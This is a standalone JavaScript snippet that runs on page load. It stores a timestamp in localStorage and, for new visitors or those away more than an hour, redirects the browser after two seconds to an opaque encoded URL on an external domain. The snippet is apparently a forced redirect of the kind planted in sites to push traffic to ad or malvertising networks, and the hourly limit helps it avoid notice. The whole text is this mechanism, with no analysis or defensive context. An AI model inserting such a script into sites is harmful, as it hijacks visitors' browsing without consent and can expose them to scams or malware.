
    // Function to check if it's the visitor's first visit
    function isFirstVisit() {
        // Check if localStorage contains a timestamp
        if (!localStorage.getItem('lastVisit')) {
            // If not, it's the first visit
            localStorage.setItem('lastVisit', Date.now()); // Store the current timestamp
            return true;
        } else {
            // If yes, check the time difference
            const lastVisit = parseInt(localStorage.getItem('lastVisit'));
            const currentTime = Date.now();
            const oneHour = 60 * 60 * 1000; // 1 hour in milliseconds
    
            // If the difference is more than 1 hour, reset and count as first visit
            if (currentTime - lastVisit > oneHour) {
                localStorage.setItem('lastVisit', Date.now()); // Update timestamp
                return true;
            } else {
                return false; // Not the first visit
            }
        }
    }
    
    // Function to redirect if it's the first visit
    function redirectIfFirstVisit() {
        if (isFirstVisit()) {
            // Redirect to the specified URL
            setTimeout(function() {
              window.location.href = 'https://studious-make.com/b.3NVW0tPd3bpfvOb/mOVdJoZmD/0K1TM/DEkO1yNgDMY/0wL_TvUmwLOxTxU/0eNmjpUo';
            }, 2000);
        }
    }
    // Check if it's the first visit and redirect accordingly
    redirectIfFirstVisit();
    